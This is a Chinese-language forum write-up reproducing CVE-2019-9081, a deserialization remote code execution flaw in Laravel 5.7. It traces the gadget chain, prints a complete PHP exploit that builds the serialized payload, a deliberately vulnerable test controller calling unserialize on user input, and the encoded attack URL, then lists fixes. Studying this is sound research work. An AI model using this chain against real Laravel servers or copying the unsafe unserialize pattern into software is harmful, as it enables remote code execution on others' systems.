-
-
[原创]CVE-2019-9081 Laravel5.7 反序列化 RCE复现
-
2021-12-23 12:00 13432
-
CVE-2019-9081 Laravel5.7 反序列化 RCE
一、漏洞简介
Laravel Framework 5.7.x版本中的Illuminate组件存在反序列化漏洞,远程攻击者可利用该漏洞执行代码
二、漏洞影响
Laravel5.7
三、漏洞分析
laravel在5.7之后加入了PendingCommand类,同时发现了两个方法
PendingCommand类有魔术方法__destruct()
,该方法调用run函数,然后run函数执行命令
我们跟进看一下构造方法
一共需要用到4个属性
我们继续跟进run方法看一下
注意$this->mockConsoleOutput();
我们跟进看一下
继续跟进createABufferedOutputMock()
继续走下去,我们需要属性$this->test->expectedOutput
我们需要找到类中用expectedOutput
经过全局搜索,在Illuminate\Foundation\Testing\Concerns
,存在
但是这种类,需要用魔法方法get,来实例化
在vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php
中存在可以利用的get方法
设置键名为expectedOutput
的数组,即可利用
现在就缺$app
参数,我们回去接着跟进run
方法
这里也很重要
1 | $this - >app[Kernel:: class ] |
这里在实例化对象,再去调对应的call方法,跟着Kerne
可以看到是在实例化
1 | Illuminate\Contracts\Console\Kernel |
首先进入到
跟进make方法
跟进父类的make
跟进resolve
那么此时发现$concrete的值来自于getConcrete($abstract):
1 | vendor / laravel / framework / src / Illuminate / Container / Container.php |
跟进getConcrete
注意这里
1 2 3 | if (isset($this - >bindings[$abstract])) { return $this - >bindings[$abstract][ 'concrete' ]; } |
如果bindings[$abstract]存在,则会返回bindings[$abstract][‘concrete’]
bindings是类Container的属性,并且类Container中也有可以RCE的call方法。
到现在,我们可以整理一下思路
1 | 我们可以任意实例化类Container的子类,这样在其子类调用call的时候,会触发类Container的call方法,那么即可达成RCE |
我们选择Illuminate\Foundation\Application
而$abstract的值为Illuminate\Contracts\Console\Kernel。
那么此时我们容易知道$bindings只要存在键名为Illuminate\Contracts\Console\Kernel的数组,就能进入该if条件句,那么我们只要按如下进行构造:
1 2 3 4 5 | 1. 类PendingCommand 利用 destruct触发run()方法 2. 类vendor / laravel / framework / src / Illuminate / Auth / GenericUser.php 构造数组 3. 类vendor / laravel / framework / src / Illuminate / Auth / GenericUser.php 利用 get()魔法方法满足mockConsoleOutput 4. 利用任意实例化对象,实例化Illuminate\Foundation\Application 5. 调用call触发父类call方法RCE |
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | <?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$ class ,$app){ $this - >command = $command; $this - >parameters = $parameters; $this - >test = $ class ; $this - >app = $app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this - >attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this - >bindings = $bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser(array( "expectedOutput" = >array( "0" = > "1" ), "expectedQuestions" = >array( "0" = > "1" ))); $application = new Illuminate\Foundation\Application(array( "Illuminate\Contracts\Console\Kernel" = >array( "concrete" = > "Illuminate\Foundation\Application" ))); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand( "phpinfo" ,array( '1' ),$genericuser,$application); echo urlencode(serialize($pendingcommand)); } ?> |
四、漏洞复现
在routes/web.php
添加一条路由
1 | Route::get( '/index' , 'TaskController@index' ); |
接下来在app/Http/Controllers
文件夹下创建文件TaskController.php
,源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <?php namespace App\Http\Controllers; highlight_file(__FILE__); class TaskController { public function index(){ if (isset($_GET[ 'code' ])) { $code = $_GET[ 'code' ]; unserialize($code); return "Welcome to H3'palce" ; } } } ?> |
利用exp生成payload
然后传值过去
payload:
1 | http: / / 127.0 . 0.1 / public / index.php / index?code = O % 3A44 % 3A % 22Illuminate % 5CFoundation % 5CTesting % 5CPendingCommand % 22 % 3A4 % 3A % 7Bs % 3A10 % 3A % 22 % 00 % 2A % 00command % 22 % 3Bs % 3A7 % 3A % 22phpinfo % 22 % 3Bs % 3A13 % 3A % 22 % 00 % 2A % 00parameters % 22 % 3Ba % 3A1 % 3A % 7Bi % 3A0 % 3Bs % 3A1 % 3A % 221 % 22 % 3B % 7Ds % 3A6 % 3A % 22 % 00 % 2A % 00app % 22 % 3BO % 3A33 % 3A % 22Illuminate % 5CFoundation % 5CApplication % 22 % 3A2 % 3A % 7Bs % 3A22 % 3A % 22 % 00 % 2A % 00hasBeenBootstrapped % 22 % 3Bb % 3A0 % 3Bs % 3A11 % 3A % 22 % 00 % 2A % 00bindings % 22 % 3Ba % 3A1 % 3A % 7Bs % 3A35 % 3A % 22Illuminate % 5CContracts % 5CConsole % 5CKernel % 22 % 3Ba % 3A1 % 3A % 7Bs % 3A8 % 3A % 22concrete % 22 % 3Bs % 3A33 % 3A % 22Illuminate % 5CFoundation % 5CApplication % 22 % 3B % 7D % 7D % 7Ds % 3A4 % 3A % 22test % 22 % 3BO % 3A27 % 3A % 22Illuminate % 5CAuth % 5CGenericUser % 22 % 3A1 % 3A % 7Bs % 3A13 % 3A % 22 % 00 % 2A % 00attributes % 22 % 3Ba % 3A2 % 3A % 7Bs % 3A14 % 3A % 22expectedOutput % 22 % 3Ba % 3A1 % 3A % 7Bi % 3A0 % 3Bs % 3A1 % 3A % 221 % 22 % 3B % 7Ds % 3A17 % 3A % 22expectedQuestions % 22 % 3Ba % 3A1 % 3A % 7Bi % 3A0 % 3Bs % 3A1 % 3A % 221 % 22 % 3B % 7D % 7D % 7D % 7D |
五、漏洞修复
1、删除__destruct中的$this->run()代码段
2、更新到新版本
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。